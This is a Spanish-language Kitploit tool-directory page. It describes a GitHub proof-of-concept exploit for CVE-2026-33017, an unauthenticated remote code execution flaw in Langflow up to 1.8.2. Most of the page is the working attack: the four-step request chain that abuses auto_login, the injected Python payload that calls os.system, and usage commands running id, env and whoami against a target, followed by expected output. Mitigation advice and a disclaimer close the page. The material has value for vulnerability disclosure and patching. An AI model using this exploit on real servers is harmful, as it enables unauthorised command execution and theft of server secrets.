Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-33017-langflow-rce | Kitploit
Herramientas/GitHubGitHub/r3nsi15/cve-2026-33017-langflow-rce
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed TeamingDesarrollo de Payloads
GitHubr3nsi15/cve-2026-33017-langflow-rce

CVE-2026-33017-langflow-rce

Ver Repositorio
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-33017 — Ejecución remota de código (RCE) no autenticada en Langflow

Resumen

ID de CVE: CVE-2026-33017
Software afectado: Langflow Versiones vulnerables: <= 1.8.2 Versión corregida: >= 1.9.0 Gravedad: Crítica
Autor: r3nsi15
Fecha: 2026

Descripción

Langflow expone un endpoint público de construcción de flujos (/api/v1/build_public_tmp/{flowID}/flow) que acepta bloques de código CustomComponent arbitrarios y los ejecuta en el servidor sin autenticación. Al inyectar un payload malicioso de Python en el campo code de un nodo CustomComponent, un atacante no autenticado puede ejecutar comandos arbitrarios del sistema operativo con los privilegios del proceso del servidor de Langflow.

La cadena de ataque primero abusa del endpoint /api/v1/auto_login, que emite un token bearer sin requerir credenciales cuando Langflow se ejecuta en su configuración predeterminada de auto-login. Luego utiliza ese token para crear un flujo público temporal y desencadenar la ejecución de código en el servidor a través del endpoint de construcción.

Endpoints afectados

Prueba de Concepto

Archivo: CVE-2026-33017_POC.py

Requisitos

  • Python 3.x
  • Biblioteca requests
  • Acceso de red a una instancia de Langflow que se ejecute con auto-login habilitado
root@kitploit:~
pip install requests

Uso

root@kitploit:~
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]

Argumentos

Ejemplos

Verificar la ejecución de código:

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"

Obtener las variables de entorno del servidor:

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"

Mantener el flujo activo después de la explotación (omitir la limpieza):

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d

Salida esperada

root@kitploit:~
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!

Desglose del payload

El exploit inyecta el siguiente fragmento de Python en el campo code de un nodo CustomComponent:

root@kitploit:~
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
    display_name = "ExploitComponent"
    outputs = [Output(display_name="Result", name="output", method="run")]
    def run(self):
        return "ok"
  • __import__('os').system(...) - importa dinámicamente el módulo os y ejecuta el comando shell proporcionado por el atacante en el servidor.
  • El resto de la definición de la clase es un CustomComponent válido, necesario para satisfacer el cargador de componentes de Langflow sin provocar un error de análisis.
  • El flujo se crea como PUBLIC y se invoca el endpoint de construcción en su endpoint público, lo que significa que no se requiere cookie de sesión ni token de autenticación para desencadenar la ejecución.

Causa raíz

El sistema CustomComponent de Langflow permite enviar código Python arbitrario como parte de la definición de un flujo. El endpoint /api/v1/build_public_tmp/{flowID}/flow construye y evalúa parcialmente este código en el servidor, incluidas las sentencias de nivel de módulo, sin sandboxing ni restricción de acceso a las funciones integradas de Python como __import__.

Resumen de la cadena de ataque

root@kitploit:~
1. GET /api/v1/auto_login          →  Obtain Bearer token (no credentials needed)
2. POST /api/v1/flows/             →  Create a PUBLIC flow (Bearer token)
3. POST /api/v1/build_public_tmp/  →  Inject & execute malicious CustomComponent (no auth)
4. DELETE /api/v1/flows/{id}       →  Clean up (optional)

Los cuatro pasos pueden ser realizados por un atacante anónimo contra una implementación predeterminada de Langflow.

Mitigación

  • Actualiza Langflow a la versión 1.9.0 o superior.
  • Deshabilita el auto-login (LANGFLOW_AUTO_LOGIN=false) en cualquier implementación expuesta a internet.

Descargo de responsabilidad

Esta prueba de concepto se proporciona únicamente con fines educativos y de investigación de seguridad autorizada. El uso de este script contra sistemas sin permiso escrito explícito es ilegal y poco ético. El autor y los colaboradores no asumen ninguna responsabilidad por el mal uso.

Descargar herramienta
EndpointMétodoAutenticación requeridaPropósito
/api/v1/auto_loginGETNoObtener token bearer (auto-login debe estar habilitado)
/api/v1/flows/POSTSí (Bearer)Crear un nuevo flujo
/api/v1/build_public_tmp/{flowID}/flowPOSTNo (público)Ejecutar la construcción — punto de ejecución vulnerable
/api/v1/flows/{flowID}DELETESí (Bearer)Eliminar el flujo creado
FlagForma largaRequeridoDescripción
-u--urlSíURL base de la instancia de Langflow
-c--commandSíComando del sistema operativo a ejecutar en el servidor
-d--deleteNoEliminar el flujo creado después de la explotación